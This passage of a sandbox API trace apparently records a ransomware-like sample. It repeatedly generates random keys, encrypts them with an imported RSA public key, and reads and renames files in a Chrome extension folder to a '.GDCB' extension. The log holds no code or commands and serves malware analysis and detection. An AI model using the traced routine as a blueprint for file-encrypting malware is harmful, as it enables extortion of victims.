returned 1 [0243.389] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0243.391] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6784008) returned 1 [0243.391] CryptGetKeyParam (in: hKey=0x6784008, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.391] CryptEncrypt (in: hKey=0x6784008, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb5d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xb5d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0243.392] GetLastError () returned 0x0 [0243.392] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.392] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0243.393] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xb5e0000 [0243.396] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xb5f0000 [0243.398] ReadFile (in: hFile=0x424, lpBuffer=0xb5f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xb5f0000*, lpNumberOfBytesRead=0x285d160*=0x8c0bf, lpOverlapped=0x0) returned 1 [0243.460] VirtualAlloc (lpAddress=0x0, dwSize=0x8c0c0, flAllocationType=0x3000, flProtect=0x4) returned 0xb700000 [0243.481] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.gdcb")) returned 0 [0243.483] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0243.486] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.488] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.488] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0243.488] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.488] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0243.491] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.493] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.493] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0243.493] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.493] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0243.495] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6783e08) returned 1 [0243.495] CryptGetKeyParam (in: hKey=0x6783e08, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.495] CryptEncrypt (in: hKey=0x6783e08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb5c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xb5c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0243.495] GetLastError () returned 0x0 [0243.495] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.495] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0243.497] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6783d08) returned 1 [0243.497] CryptGetKeyParam (in: hKey=0x6783d08, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.497] CryptEncrypt (in: hKey=0x6783d08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb5d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xb5d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0243.498] GetLastError () returned 0x0 [0243.498] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.498] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.498] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0243.501] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.503] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.503] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0243.503] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.504] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0243.506] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.508] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.508] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0243.508] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.509] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0243.511] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6783a08) returned 1 [0243.511] CryptGetKeyParam (in: hKey=0x6783a08, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.511] CryptEncrypt (in: hKey=0x6783a08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb5e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xb5e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0243.511] GetLastError () returned 0x0 [0243.511] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.511] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0243.513] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6784048) returned 1 [0243.513] CryptGetKeyParam (in: hKey=0x6784048, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.513] CryptEncrypt (in: hKey=0x6784048, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb5f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xb5f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0243.513] GetLastError () returned 0x0 [0243.513] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.513] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.514] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0243.518] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.520] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.520] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0243.520] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.520] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0243.523] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.525] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.525] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0243.525] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.526] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0243.528] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6783e48) returned 1 [0243.528] CryptGetKeyParam (in: hKey=0x6783e48, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.528] CryptEncrypt (in: hKey=0x6783e48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb600000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xb600000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0243.528] GetLastError () returned 0x0 [0243.528] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.528] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0243.531] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6783f08) returned 1 [0243.531] CryptGetKeyParam (in: hKey=0x6783f08, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.531] CryptEncrypt (in: hKey=0x6783f08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb610000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xb610000*, pdwDataLen=0x285d120*=0x100) returned 1 [0243.531] GetLastError () returned 0x0 [0243.531] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.531] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.531] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0243.535] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.537] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.537] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0243.537] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.537] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0243.540] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.542] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.542] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0243.542] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.542] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0243.545] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6783b88) returned 1 [0243.545] CryptGetKeyParam (in: hKey=0x6783b88, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.545] CryptEncrypt (in: hKey=0x6783b88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb620000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xb620000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0243.545] GetLastError () returned 0x0 [0243.545] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.545] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0243.547] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6783c08) returned 1 [0243.547] CryptGetKeyParam (in: hKey=0x6783c08, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.547] CryptEncrypt (in: hKey=0x6783c08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb630000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xb630000*, pdwDataLen=0x285d120*=0x100) returned 1 [0243.547] GetLastError () returned 0x0 [0243.547] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.547] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.548] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0243.551] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.553] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.553] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0243.553] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0243.553] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0243.556] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.557] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.557] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0243.557] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.558] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0243.560] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6783a88) returned 1 [0243.560] CryptGetKeyParam (in: hKey=0x6783a88, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.560] CryptEncrypt (in: hKey=0x6783a88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb640000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xb640000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0243.561] GetLastError () returned 0x0 [0243.561] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.561] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0243.563] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6783f48) returned 1 [0243.563] CryptGetKeyParam (in: hKey=0x6783f48, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.563] CryptEncrypt (in: hKey=0x6783f48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb650000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xb650000*, pdwDataLen=0x285d120*=0x100) returned 1 [0243.563] GetLastError () returned 0x0 [0243.563] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.563] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.598] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0243.601] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.603] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.603] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0243.603] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.603] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0243.605] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.607] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.607] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0243.607] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.608] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0243.610] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783b48) returned 1 [0243.610] CryptGetKeyParam (in: hKey=0x6783b48, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.610] CryptEncrypt (in: hKey=0x6783b48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb660000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xb660000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0243.610] GetLastError () returned 0x0 [0243.610] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.610] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0243.612] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783948) returned 1 [0243.612] CryptGetKeyParam (in: hKey=0x6783948, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.612] CryptEncrypt (in: hKey=0x6783948, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb670000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xb670000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0243.612] GetLastError () returned 0x0 [0243.612] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.612] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.613] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0243.616] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.617] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.618] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0243.618] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.618] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0243.620] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.622] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.622] CryptGenRandom (in: 